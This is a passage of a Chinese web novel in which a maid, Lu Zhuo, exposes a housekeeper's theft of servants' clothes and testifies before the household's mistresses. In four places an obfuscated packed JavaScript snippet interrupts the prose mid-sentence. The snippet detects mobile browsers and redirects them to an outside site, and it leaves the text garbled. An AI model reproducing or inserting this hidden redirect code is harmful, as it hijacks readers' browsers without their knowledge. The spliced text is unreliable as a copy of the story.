鹿啄点了点头，把衣服举起来在郑婆子眼前晃了晃： “嗯，三少爷的衣服。” 闻言，一股热血直冲郑婆子的天灵盖。 三少爷会有这么破的衣服吗！ 撒谎怎么不打草稿！ 她忽然想起这小畜生之前在厨房就是这么把人绕进去的，如果自己真问三少爷为什么会有这么破的衣服，她来一句怎么不能，那到时候还要把三少爷拉出来对峙不成？就算找三少爷的贴身婢女，那这时候婢女也在三少爷身边，不好往外叫。 况且一直不见凝儿…… 干脆赖个贼赃： “你偷三少爷的衣服干什么？” “浆洗。” 好顺理成章的理由…… 郑婆子的火气又顶上来了： “你又不是浆洗房的，三少爷吩咐你了！？” 鹿啄神色真挚。 “职责所在！” 好一个职责所在，你个刚进院一天不到就在厨房找不着人的货色居然说什么职责所在？ 郑婆子真的恼了。 算了吧，别兜圈子了，打开天窗说亮话吧，白刀子进红刀子出吧，都拼拼真家伙吧！ 她前出一步，为了师出有名，嘴里嚷嚷着： “好个小贼，巧舌如簧，跟我去见太太！” 说着伸手就想去拉鹿啄，实则先瞄上了衣服，一句“拿来。”还刚说了个“拿”，手已经摸上了两件衣服的边缘。 这一动，她几乎已到了鹿啄方才所在的位置。二人面向不同，视野不同，于是在鹿啄不见之处，郑婆子余光却忽地看见那里站着个人。 此人应该已经在那儿有一会儿了，只是郑婆子刚刚的位置看不见，鹿啄又是背对此人。细看之下郑婆子一惊，手上顿时爬起一层细汗，毛窍尽开。 竟是大少爷高克肃。 高克肃身量很高，眉眼神态，各取了父母秉性中最为摄人的一部分，光是站着不动，都有一身的威压；面上没颜色的时候，就像是已经在生气了，随时要发落人。 郑婆子惊骇无状，立时收回手来，忙给高克肃见礼： “大爷您万福，奴婢老眼昏花，方才竟没看见爷在这儿，请爷赐罚。” 她是府里大房的管事婆子，按理要罚也不该三房罚，但她素来是这样过度地显示自己有多么忠心懂事，也因此的确逃过不少次惩处。 果然，高克肃并没提罚她的事，但也没提适才发生在眼前的事，他只用下巴点了一下鹿啄： “这丫头叫什么。” 郑婆子本就在内宅管事，说得上熟悉的少爷只有大房的两个，三房回来后，她的确有意探查过三房几位少爷的行迹，却也都是只得了些面上的音讯，至于内里如何，她摸不准成。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030544|194532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 值此境况，她不假思索，油然自觉是高克肃因她极重规矩而不罚她，是要为方才一幕惩处鹿啄，因此欣然回了： “这粗使丫头，没爹没娘，没人给取名儿，又刁，爷想叫什么，就叫个什么。” 当着爷的面，她说不出“小畜生”三个字，并不是怕高克肃斥责她苛待了谁，只是官宦人家有修养，她叫不出。 高克肃难得神色稍改，一双黑得投不进光的瞳仁上下端详鹿啄。 她没什么反应，似乎真的叫什么都可以，但从她的神采上又实在看不出恭顺来。 这让高克肃想起一个人。 状若在场，实则扞格难入。虽则与高府下人服饰无差，饮食无异，然亦难融于此间的一个人。 “前几日死了的那个，叫什么。” 郑婆子略一思索，即答： “回爷的话，是三房太太屋里的绣娘，叫苓娘。” 鹿啄闻言微微一动，不觉双拳紧握。 她两手怀抱着衣裳，高克肃无法察觉其下动静。 他素性严密，此生极少起心动念，不会由着自己的性子肆意决断，更不为无益之事，而今他却忽然生出一个念头。 若执意要这念头从何而来，大抵可说是他有意在此二人之间结一个羁绊，使其相系，好让她们成为一种，他早已失去的东西的象征。 只听高克肃吩咐道： “这名给她。” 名字，是太直白，太容易系起二人的标识。 然被他这破天荒的一念之间牵起之人，却与他心念殊途。 苓娘，鹿苓。 是鹿啄可怜病死的六姐姐，是她不幸，又命苦的六姐姐。 如果鹿啄也死在这儿，会不会又有下一个苓娘？ 这只是一个什么人和物件都能得的称呼，与那小畜生，又有什么分别？ “不。” 鹿啄骤然回身，直视高克肃，又重复了一遍： “不。” 自鹿啄入府以来，每每郑婆子想起有这么个人时，脑中形象根本是不切实的，总很模糊，影影绰绰。可她而今胆敢顶撞少爷，郑婆子势必要细细看她，一看之下，郑婆子才惊觉 原来这丫头是这样的面相吗？ 面黄肌瘦，形销骨立，外头买来的丫头多半如此，本不足怪。可那双眼睛，奇就奇在那双眼睛。平时她的眼睛总是睁不开一样，看人的目光也懒散，满不在乎。 但当下她直视高克肃的这一眼，却是双目绽开，目露四白。 四白眼，是相学上凶煞中的凶煞，断主顽愚暴戾、极端冷酷、自私残忍，甚至有此目相者，易短寿凶亡。 牙行怎么会挑来一个这么不吉利的丫头。 从旁看待这一幕的郑婆子魂飞魄散，却不全因为陡然发现鹿啄面相的坏处，她更怕高克肃气愤之下迁怒自己，毕竟面相往往是臆断，高克肃的盛怒却大概是切实的。 人逢未发之险，天生灵觉便生畏惧，先自怵惕，可郑婆子错又错在，她将股栗惊惧，全归在了高克肃头上。 她真正应要害怕的，实是不声不响，准备杀死二人的鹿啄。 15. 除之后快 “你该教教她规矩。” 高克肃八风不动，面上仍是一潭死水，但对着比他大上至少两旬的婆子，不用敬称。 “爷教训得是，奴婢这就把她带走，好好调教。” 这正是郑婆子所害怕的，因一个教训无方就把她扯成丫鬟冒犯少爷的头等罪人，须知丫鬟要是诚心不想守规矩，她教也没用， 打倒是能打得听，可她还没顾上打。 听话听音，“该教”就是让打，郑婆子早就想打，立刻去扯鹿啄，但扯了一下，完全没扯动。就像要从山上把地皮扯下来一 样，凡人之力根本无法撼动，越使力气，越显得丑陋。 幸好高克肃的话还没说完： “慢。” 郑婆子闻言松手，且不可置信地看着自己的手。 她刚刚，是拉了一头牛吗？ 这个表情被高克肃收进眼里，但只一瞬，他就收了目光，问鹿啄： “这名字你不喜欢。” 他说话几乎没有语调，每句话都犹如定论。 这一点鹿啄也一样： “喜欢。” 怎么会不喜欢，这是姐姐的名字。 是逐娘给取的名字，一共八个，她个个都喜欢。 高克肃刹那间就知道了鹿啄的意思： “但你有自己的名字。” 这也是一句问，或者说是试探，但从他嘴里说出来，就像是已经知道了鹿啄叫什么。 可鹿啄不想让高家人知道她叫什么。 不是因为怕别人发现她跟姐姐的关联，她跟鹿苓没有血亲，长得没有丝毫相同之处，光凭名字，很难判断她们之间的关系。 如果真会因为名字露馅，那得是鹿荇来。 逐娘给她们取名字的时候，为了年纪相近的女孩互相之间关系相处得更好，便以两人为一对儿，取了四对儿名字。 鹿坤鹿坪、鹿霄鹿霖、鹿荇鹿苓、鹿啄鹿鸣。 鹿啄是在有了鹿鸣之后定的名字，但鹿鸣一直没上山，她也就一直独自叫着这个成双成对名字的一半。 这样有意义的名字，她不想告诉可能害死姐姐的人。 但她一时也想不出别的假名来替代，更不想又随便顶替谁的名字。 只要高克肃不迫她一定要叫苓娘，她就不会出手杀人，所以她说了真话： “阿啄，新燕啄春泥的啄。” 旁边的郑婆子一怔，她刚刚还沉浸在拉了一头牛的错觉之中，突然听见鹿啄嘴里蹦出一句文词，更觉得荒诞了。 但高克肃并不动摇，他只是察觉出异常： “这是白乐天的句子。谁给你取的名。” 他不觉得是鹿啄自己将名字与诗词联系在一处，而是给她取名的人如此教授的。 这是事实。 鹿啄只回一个字： “娘。” 高克肃漠然。他今天跟这下等的女婢说了太多，纵然还有好奇，但也已太够了： “那你便用你自己的名字，旁人不可改。” 说罢，他转身要走，郑婆子赶紧又是一躬身，但鹿啄突然开口，在郑婆子的印象里，这丫头似乎是第一次主动跟人说话。 “慢。” 又是一个字，而且不是请求。 高克肃自然没必要理她，反而说理她才是真有问题，他仍要向前走，但突然感觉衣袍让人拉住了，而且拉他衣袍之人的力气相 当大，他竟挣脱不开。 他怎么也不会想到，竟然有人能用纯粹的武力迫使他留下。那些小厮、书童，还有外面扯着他喝酒的公子哥力气都不小，但高克肃是习过武的，在殷碧还对他颇有厚望的时候，他由威节侯长子亲自教授武艺，如果他要走，寻常的男人都留他不得。 可他偏偏让这个一盏茶前连名字都没有的奴婢留下了。 高克肃回过头，还是高高在上： “你可知你不该与我拉拉扯扯？” 这句话里倒是带了问的意思了，但偏偏这句话本身不是问。 为什么不该？说话不听的人，不拉住他，还由着他装聋子吗？ 可现在并不是探讨该不该拉拉扯扯的时候，鹿啄拉住高克肃，是由于她拿定了一个主意。 得把郑婆子除掉。 经过今天的事，郑婆子无疑会对她做的任何事都横加阻拦，甚至会对她小心防备。 而高克肃的傲慢是有目共睹的，鹿啄并不觉得他会对自己怎么样，他也不屑于对自己怎么样。这样的人她见过一个——鹿坤。作为姐姐，鹿坤是最好的姐姐，体贴她，疼惜她，自己练武伤成什么样都不会哼一声，可鹿啄受了伤，鹿坤会流泪，无声地、远远地流泪。 但鹿啄也见过鹿坤在山下对外人的态度，可以说，鹿坤瞧不起任何人。 以她对鹿坤的了解，易地而处，她不会屑于理会比她弱小之人的人生。 郑婆子就不一样了，郑婆子跟她在这里的生活息息相关，为人又贪得无厌，无论是对于自己的衣裳，还是对于自己这个人，郑婆子都不会罢休。 所以郑婆子必须现在就消失，或是再也不能以权谋私。 被眼前一幕大为震慑的郑婆子，对自己的命运无知无觉，匆忙地叫骂道： “怎么有这么不要脸的丫头！跟爷们拉拉扯扯的！还不赶紧放手，我可叫人打死你！” 鹿啄眼里，她形如一个死人，所以她看也不看郑婆子，只对高克肃说： “你在乎你弟弟，就跟我来。” 她没把握高克肃一定听她的，所以又用鹿坤的秉性去试探高克肃的秉性。她赌对了。 没有点头也没有摇头，高克肃只是被她牵着的那只手卸了力，不再对抗，就已经让鹿啄明白她赌对了。 鹿啄松开手，穿过拱辰轩的院门，带着身后的高克肃和郑婆子，朝她藏匿凝儿的柴火堆走去。 当然，郑婆子一直叫骂，而且试图去拦了，可她拦不住。 反而把正房和配房里的人全引了出来，以至于最后站在柴火堆前面时，是高克肃、高克行、高克正，并丫鬟一个、小厮若干， 拉拉杂杂一大堆人。 郑婆子不知道鹿啄要带他们去看的是凝儿，如果她知道，就不会扯着嗓子把所有人喊出来，她原想着喊大声些，能把事情闹大，让鹿啄一举被赶走，但没想到砸在自己脸上。 高克行高克正面面相觑，其余人也是满脸的狐疑。 “她叫凝儿。” 鹿啄指着凝儿，声音不高不低，好像并不指望在后头看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030545|194532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的那些人能听见： “昨日，她与自己的姑母，也就是郑婆子，二人合谋，意图昧下十六个新选女婢的衣裳拿到府外换钱，为欺上瞒下，郑婆子假 意烧去一些不值钱的衣物，又将值钱的衣物私下交于侄女凝儿，藏入三少爷院内灶房之中，待今日大少爷二少爷为三少爷指点 功课，院内无人值守的空档，再私相授受。句句属实，有人证在此，亦可叫昨日进府之一十六人来核对衣物。” 郑婆子的脸不白也不红，却透出些吓人的黄。 只听鹿啄继续道： “背主欺上，这是不忠。内帷窃盗，这是不廉。利用职司，这是渎职。秽乱内院，这是不轨。以上种种，恶贯满盈，法理难饶，家法不容。” 满院皆惊。 旁人惊的是郑婆子和凝儿胆子之大，郑婆子惊的是这丫头居然会说人话，还说得如此利落，如此不给她留活命的机会。 这话当然不是鹿啄自己的。 是早上在厨房小钗拟好了，写在纸上，让她背过的。 那时，小钗问她有几个姐姐，她原本不准备作答，却忽然想起逐娘说过，之所以要收养这么多的孩子，就是为了以后哪怕她不在了，姐妹之间也能互相帮忙。 姐姐们是不能帮忙了，但这事，她的确一个人做不成。 于是她去而复返。 原本小钗听了郑婆子的事就十分愤慨，鹿啄又多次帮她，她便决心以此为报。加之鹿啄说可以帮她把衣服拿回来，叫她不要声张。小钗自己的衣服是父母血汗钱换来的，她自然想要拿回来，便更是尽心。 最终，二人合力之下，有了这份“诉状”。 要除掉郑婆子，鹿啄不是临时起意，但她原想的是捉贼捉赃，在郑婆子和凝儿携包袱出府时，再发作。 “这些，你又是怎么知道的。” 说话时，郑婆子的一张老脸已经完全耷拉下来，目光中有汹涌的刻毒，语气也不似平时激昂，带着水鬼要拖替身的阴狠。 鹿啄看向她： “你不知我如何得知，可证我并非同谋。” 郑婆子歹毒一笑： “你的确不是同谋，可你手上的衣服怎么解释呢？这衣服你是从哪儿得来的？你又怎么解释现在这个时候，你一个扫地的不扫 地，反倒在少爷院子里晃悠？” 鹿啄面不改色： “这衣服是大小姐房里二等丫鬟小钗的，她托我送去浆洗房，如有不信，可叫她对质。另外，”鹿啄一顿，说了一句让郑婆子都为之绝倒的话： “我并不是在三少爷院子里晃悠，我是在三少爷院门口晃悠，我本就该在外院扫地，又仰慕三少爷，祈盼一见，故此爱扫他的门口。” 人群中高克正的脸腾的一下红了。 高克行在旁边拍了拍他的肩膀，无奈笑笑。 年少而慕少艾，并没什么不对，况且鹿啄什么也没做，只是扫地，扫帚还在拱辰轩外面立着。 “如果你觉得一些可笑的托词可以蒙蔽太太们，那你就到她们跟前也如此说吧。” 郑婆子垂死挣扎，怨恨和愤怒让她的身体不自主地抖动。 “大爷、二爷、三爷，奴婢无话可说了，请送我到太太那儿发落吧。” 16. 雄辩 厅堂中，悬着一方乌木匾额，上书“清畏人知”四个楷书大字，字迹端正雍容。香炭熏出炉中袅袅青烟，青烟浮于匾前，影影绰绰，像家中先人的魂灵嘶喊，叫人抬眼探看。 可笑的是，现在丑事传扬，清廉倒不怕被人知晓了。 “荒唐！荒唐！” 厅中上首左位上，坐着高府大房的主母曾氏，郑婆子即是她的陪嫁。 “郑嬷嬷，我自问于心，自我嫁入高家，多年来并没亏待过你，你是少了吃还是少了喝，竟为了这点东西作践我，打我的脸？！” 她是个面相上就能看出姑息养奸的人，哪一样都很平常，唯独一副厚唇，嘴角生来就向下。 坐在她右侧的殷碧仍然笑，这表情像是嵌在她脸上，并不分什么场合拿来展示，她劝： “大嫂子莫急，克肃也并没给郑嬷嬷就定了罪，咱们还是得细细地查查，万一冤枉了她老人家呢？” 为了一个大房的管事婆子，下人、奴才，殷碧不惜给庶长子扣上“构陷”的帽子，任谁看得过去，陆从漪也看不过去。她眉毛 一横，刚端起的茶杯重重拍在桌上： “太太是说我肃哥儿会撒谎？” 话里运了十足的气，但仍旧不能平她心头之恨，她又道： “到底不是太太教出来的，不入太太的眼。” 并不冲事儿，只是冲人。 殷碧不会听不出，可她还是笑： “陆姨娘何必动气，克肃还小，这样的事他又怎么断的明白，看那个丫头可怜，就偏信了她的，也未尝不能。” 百转千回，只是让人觉得她宽大，陆从漪尖酸小性儿。 这局面吵下去是没完的，势必要有人出来让拿个正主意才行，杨怀薇适时开口了： “辩如何辩得清呢，凡事总有个事实道理在上头，大太太，太太，咱们还是先问了吧。” 这件事上杨怀薇的干系其实最大，事情是三少爷院子里出的，人证之一是经了她女儿的眼皮子下面进的大小姐房里，放在以往 她可能还静观其变，但今日，她急于涤清儿子的声誉。 一时没人说话，厅堂下面跪了一片，除了主犯郑婆子、凝儿，还有鹿啄、小钗，并买进来的十六个丫头，收了好处的两个小厮，两天内跟里头有瓜葛的人，全在下面。 上面的主子也到的齐全，除了高汐英、高云英两个一点不沾的，只有老爷们和大房的子女们没来。 殷碧不急不缓： “庄妈妈，问吧。” 她不问，有她为了显得慈悲不能做疾言厉色的缘故，有主犯并不出自她屋里的缘故，也有她不认识这一堆下人的缘故。 庄婆子走下厅来，先绕过不断向她暗示，眼里都快冒出火来了的郑婆子，对着昨天新买的其余丫鬟们道： “你们可都看仔细了，这是你们的衣服吗？” 没被烧了衣服的丫鬟们拿着自己的衣服，纷纷应“是”。 “你呢？”庄婆子转身，指着鹿啄问小钗： “她拿的那两件，是你的衣服吗？” 口供早记得瓷实，纵使害怕，也能对答如流。 小钗向厅中主子们叩拜，答道： “回二位奶奶的话，这两件衣服确系奴婢的，因昨日奴婢调到大小姐房中，一应旧物全凭大小姐院中做主，大小姐仁善，许奴婢自行处理，奴婢念旧，想把旧物保管在身边，就让阿啄帮我带到浆洗房浆洗。” 阿啄这个名字自然是方才高克肃复述午后的情形时，自然说出来的。 “雅姐儿，她说的可属实？” 这是显示自己女儿多么有大家闺范的机会，殷碧当然要笑意盈盈地自己问。 同样的原因，高雅英虽不记得自己说过这种话，但觉得应该是大丫鬟们嘱咐的，便躬身应道： “回母亲的话，她说的属实。” 印证了这第一道，庄婆子又问： “你说这都是你的旧物，但为何这两件衣服一件新，一件旧？” 小钗立即回道： “这两件衣服，一件是奴婢进府前平时所穿，一件是为了入府不污了奶奶们的眼，父母特意找人做的。” 她答得自然，旁人并不疑心，但郑婆子恶狠狠地瞧着，把鹿啄和小钗在眼里杀了千八百遍。 不是说是三少爷的衣服吗？ 现在又成了什么家中所穿。 “既然是你自己的东西，为什么不放在大小姐院子里洗？” 庄婆子一板一眼，看不出态度。 “回嬷嬷的话，”小钗毫不慌乱，“院里事忙，大小姐体贴我们，许我们每人每月可选两日把自己的衣服拿到浆洗房去洗。” 殷碧又是眯眼看向高雅英，听她答： “是有这回事。” 只是不是她亲口告诉小钗的，而是玉珰看小钗伤了脸，还在洗衣服，才告诉她的。 既然已经在院里洗了衣服，怎么后头又送出去了呢？ 玉珰不动声色看了小钗一眼。 “好。”庄婆子回身向上首两位太太行礼，“这两件衣服的事我问完了，请奶奶们示下。” 曾氏很不好意思地看了殷氏一眼，哪个都不是她房里的人，她不好说话。殷碧自然也知道，于是挥挥手： “既然是你的衣服，你还原样拿回去，别辜负大小姐对你们的一片心。” 小钗给殷氏磕头，殷氏做出实在非常疼爱她的样子，但心里疼爱的另有其人。 接着，就要问鹿啄为什么会在拱辰轩的事了。 庄婆子一改刚才居高临下的态度，向高克正福身后才问： “三少爷，您事前与这丫头，可曾认识？” 高克正红着一张脸，先看娘，又看姐，二人对他都是摇头，他才答： “我与她清清白白，绝无挂碍，也没说过话，更不要谈认识。” 这答案是预料之中的，庄婆子又换了一张嘴脸，问鹿啄： “你呢？你可是生了狐媚主子，引诱攀附的心。” 话毕，鹿啄还没作答，进厅后就叫人拿水泼醒的凝儿先急了，大叫： “您这么问！她怎么会答是啊？她是不是有意勾引，长了眼睛的还看不出吗？！” “啪” 一个嘴巴落在凝儿脸上，凝儿的泪立时滚了一脸，五个巴掌印浮起来，她下意识去看姑母。郑婆子冲她使劲儿皱了皱眉。 捣乱的闭了嘴，鹿啄淡淡道： “没有，只是仰慕，并非爱慕。” “好横的丫头！”杨怀薇捏着交椅的手骨节泛白，“少爷是你一个粗鄙之人说仰慕就仰慕，说爱慕就爱慕的吗？！给我也掌她的 嘴！” 她心急，忘了庄婆子并没道理听她的话，后者只站着看殷碧，但殷碧也不说话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030546|194532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杨怀薇脸上红了，想让自己的婆子去，但只听下头高克行突然道： “姨娘莫急，她只是个洒扫丫头，就是生了这样的心，只要没做出格的事，何必为这个打她，到时候发落得离三弟远些便是 了。何况她若是清白的，可是为咱们府上捉贼除害，这要挨了打，叫外头的人怎么想我们。” 这头本不该由高克行出，他虽然怜香惜玉，但也很不爱得罪几个有生养的妇人。可刚刚，他分明看见杨姨娘叫打的时候，三弟 脸上慌了一下。 喜欢他仰慕他就要挨打，他以后更觉得自己不配好了。 这一来，高克行才为鹿啄出的头。 “行哥儿说的有理呢。”陆从漪伸手拍了拍与她同坐一排的杨怀薇，“咱们不是那样不明是非的人家。” 谁生的自然由谁护着，再自然不过的道理。 “接着问吧。”殷碧就像没看见刚刚发生的事一样。 “郑婆子。” 庄婆子终于问到了祸头上： “你可有要辩的？” 像是得了偌大的舞台了，郑婆子并没一下跳将起来，反而由跪坐改为跪，极庄重地向座上的曾氏行了大礼，又分别给曾氏和殷氏磕了三个响头，再抬起头来，老泪纵横。她似乎有千万种委屈说不出似的，嘴唇连着下颌都在颤抖，哆嗦半晌，才呜咽道： “她们这样密不透风，我并没有可辩的，只是累了大奶奶的清誉，叫三房的奶奶也跟着受累。” 到底是做了多年的老妈子，深知主子并不在乎这几件衣服的价值，只要她能说出三分情，就有活路，要是再说出两分理来，那 就是高高举起，轻轻放下。 “我多年在府上为奴，心里只有主子们的荣辱，并没我自己的荣辱，三房三少爷的院里，那灶台都多久没修了，可近几个月来，贵客们走动，吃饭用度，都得要钱，我想这些丫头们卖身进来，她们的东西自然也是公中的东西，公中没了现银子，暂时 救个急，并不碍什么。” 说是没有要辩的，真辩起来，却是一大堆。 “我是老糊涂了，竟浑忘了这事不该是我老婆子做主的，可要样样都拿到主子们面前去，主子们还有一刻的清闲没有？” 下人就是为主子分忧的，她做自己分内的事，又有什么不对呢？ 见曾氏脸上的颜色头一个松动，郑婆子心里一宽，仍不忘咬住鹿啄： “可这丫头，”她手指着鹿啄，“这丫头不知怎么知道的这事，竟红口白牙的攀篾人，白的说成黑的，活的说成死的，她这是诚 心致我和凝儿于死地，她好到三少爷房里去露脸啊！” 杨怀薇几乎有些沉不住气了。 招上了这么多脂粉堆里的事儿，她那老实儿子只有被人泼粪的，绝没有还口的，以后议亲，都说他风流成性，最爱跟下人夹缠 不清，可怎么办！ “你口口声声为主子分忧。” 高容英前出一步，面沉似水，眼里的火像要把郑婆子活活烧死： “可见你为主子分忧的能耐就是瞒着主子偷偷摸摸，你既然手里现银子不够，为什么不报？要拿丫鬟们的衣裳换钱，又为什么 不报？更何况，府上真就到了缺这几件衣服的地步了？明明可以把衣服放在下人房里等发落，你却要偷偷藏进爷们的屋里，郑嬷嬷好口才，好一番雄辩呐！” 17. 证言 二小姐高容英原打算不问到她头上，她就只当全然不知的。 哪怕是生母看着要塌架子，她仍能自持，只不想让外人觉得杨怀薇这一脉全是些没城府的。 可唯独她受不了，受不了别人拿她当傻子。 郑婆子听了高容英的话，也并不尴尬，干脆认了： “二小姐这么说，奴婢不敢有顶撞的，只是二小姐细想想，只奴婢一个人是罪该万死的吗？那丫头真没有歪心思，真就是一心为了高家吗？她才来府里一天，她会比我更在意高家，在意您和太太们的声誉吗！” 这是不把鹿啄咬死，她也不瞑目的意思了。 凝儿也挣扎着爬到高克正脚下： “三少爷！三少爷你看看我！” 高克正赶紧缩，要不是庄婆子手快拉住了凝儿，他的鞋都差点让凝儿给脱了。 “三少爷！”凝儿喊着，“我服侍您的日子短，可您怎么知道我就不是因为仰慕您才日日勤学苦练，才能进了您的院子呢！我也是 一心为着您啊！” 见没人因为仰慕这事处罚鹿啄，还有高克行为她说话，凝儿下意识觉得这样说行得通，况且她一直觑着高克正的脸色，见到高克 正对别人说仰慕他并没有反感。 “谁安排你进去的呢。” 鹿啄突然低声问道。 她的声音虽低，但很清晰，在这么嘈杂的环境里也凸显出来，叫所有人都听见了： “西厅里选人，只选了素馨一个。” 坠在后头的素馨听见有人提自己，赶紧往前挪了两步，倒不是为了显示自己，只是等着回话。 “我……”凝儿不由自主地又去看郑婆子，但郑婆子把头撇过去了。 她只能看向杨怀薇身边那个婆子，那个在小径上领她去三少爷房里的婆子。 这目光太显眼了，杨怀薇立刻意识到，回身直接给了那婆子一嘴巴： “你做的好事！” 那婆子“扑通”一声跪下去。 这下，谁还能相信郑婆子是真心为了高家呢？ 杨怀薇脸上仍有余怒，但郑婆子和凝儿已撇不清了，她稍稍安心了一些，转而想解决自己第二个心腹大患： “纵然她们全脏了心，但这丫头到底没说明白，这些事她是怎么知道的。” 这是最后一桩悬案了，殷碧难得打起几分兴趣，揉着额角问： “是叫阿啄的吧，你总要说清楚才是。” 到了这一步，说也要说，不说也要说了。鹿啄还是刚才的语调： “我第一日在府中上值，领的是扫地的差事，所以当晚上灯前，我在外院扫地。” 一屋子人看着她，各怀心事，鹿啄兀自说： “因进府时曾偶然见过三少爷一面，三少爷天人之姿，我记忆犹新，不由自主就去了拱辰轩外打扫。” 她说得简单，但高克正心里已经默默为她补充全了一个用情至深的形象，哪怕只是让少爷看到院外洁净的甬道，也是为了少爷做 了一件事而荣耀的那种痴情女子。 “在拱辰轩的墙角，我听见郑婆子在跟凝儿交待‘你跟三少爷说，晚上让你上值，到时候就到西边的墙根等我，我把挑过的衣服扔进来。’” 这是原话，郑婆子听了也一惊，她明明记得自己怕隔墙有耳，离墙根很远，只在灶房附近。 “凝儿说三少爷并不好说话，她白天想向三少爷卖乖，三少爷还瞪她。” 高克正坐不住了。 男子汉大丈夫，不该与小女子置气发怒，但他没想到凝儿竟然背后排揎他。 “郑嬷嬷可能觉得凝儿不配合，又叫凝儿对三少爷说知道错了，以后只想默默守着少爷” 高克正彻底绷不住了，他起身，撩衣跪倒，低着头对上首道： “太太，大太太，各位姨娘，还有哥哥姐姐们，阿啄所说句句属实，那天白天，凝儿的确拿着郑婆子的原话这么跟我说的，我一时心软，就叫她上夜了。” 杨怀薇心疼得紧，但没说话，一直等到殷碧叫高克正站起来。 “正哥儿，这不怪你，是那贱奴先生了坏心。” 殷碧不光叫他起来，甚至亲自扶了一把。 等高克正坐回去了，鹿啄才继续说： “我刚来，不认识任何一位奶奶妈妈，没有当场拿赃，就不敢乱说。今天上午，我一直在外院影壁墙等着，这事，素馨姐姐可以为我作证。” 素馨还记得早上的事，况且她跟凝儿有怨，不仅诚心帮鹿啄作证，还添油加醋道： “回奶奶们，我上午的确碰见了阿啄妹妹，不仅如此，我还遇到了凝儿，她没在上工，反而到院子里把阿啄妹妹数落了一番，我 也觉得很奇怪，现下想来，可能是外院有扫地的她不方便行事，便特意把阿啄妹妹骂走。” 高克行也道： “是了，别说素馨，我也记得阿啄上午在影壁墙那守着，我还以为她受了罚。” 又有少爷出来作证，凝儿原本想跟素馨再撕扯一回，但去看郑婆子脸色时，只见对方一片死气沉沉，就剩一口气吊着。 两人说罢，鹿啄继续分条缕析地罗列： “下午，我在内院扫地，小钗找我到浆洗房送衣服，我就又回了外院。路过三少爷院时，看见院外落了一些银杏果，叫人踩了会 粘在地上，所以我立刻取了扫帚来扫。” 时值八月底，正是银杏落果的时候，外院为赏秋景，密植了许多银杏树，这说辞也没有不妥。 “刚到了拱辰轩门口，就迎面遇上了郑婆子，她误将我手中的衣服当成了贼赃，咬住我不放，这事，大少爷可以作证。” 只有最初说了一下来龙去脉的高克肃，仍四平八稳地坐在交椅上，淡淡道了声： “是。” 之后的事，其实高克肃已经都说过了，但鹿啄仍要解释其中疑点： “我知道她们合谋把赃物藏在三少爷院里的灶房内，郑婆子一直与我拉扯，我只得借这个机会将隐情告知少爷，可到了灶房，就 见小钗躺在柴禾堆后，不省人事，怀中抱着赃物。” 说完这句，鹿啄不再说话了。 郑婆子已知道自己彻底败了。 可分明她记得不是这样的，那小畜生带着衣服，分明是从拱辰轩出来而不是刚到，还有那种拉了牛一样的怪异触感，她跟大少爷 说的话，凝儿的昏迷。所有的事经她之口都能对上，却又与事实有着微妙的出入。 如果事实并不如鹿啄所说，她到底怎么得知自己和凝儿的谋划呢？ 如果不是亲眼所见亲耳所听，怎么会一字一句都复述的出来？ 上首的几位也是被鹿啄证词的严密程度所震慑了。 竟然在每个时间点上，都有人证，甚至三位少爷，都能为她作证。 若是深想一下就会发现，鹿啄的人证证明的都是些无关紧要的节点。 但没人想象得到就在高府这样的深宅大院里，到处都是耳目和护院的地方，会有一个人飞檐走壁四处打探。众人只是觉得这叙述 天衣无缝，叫人无从怀疑。 只有杨怀薇还有一个问题： “这番话，你怎么在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030547|194532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拱辰轩时，不告诉大少爷？” “我说过，我仰慕三少爷，并不想让别人知道三少爷的院内是一个婆子可以随意进出的，会伤了少爷的脸面。” 高克正又是一阵阵的脸红，连耳尖都红了。 多么体面又为他着想的女孩子啊。 而鹿啄，只是刚刚才想好了这一大套说辞。 没有人再问，庄婆子等了片刻，向郑婆子道： “你还有要辩的吗？” 郑婆子没话，凝儿却“哇”的一声嚎哭出来，震得身边的人直躲。 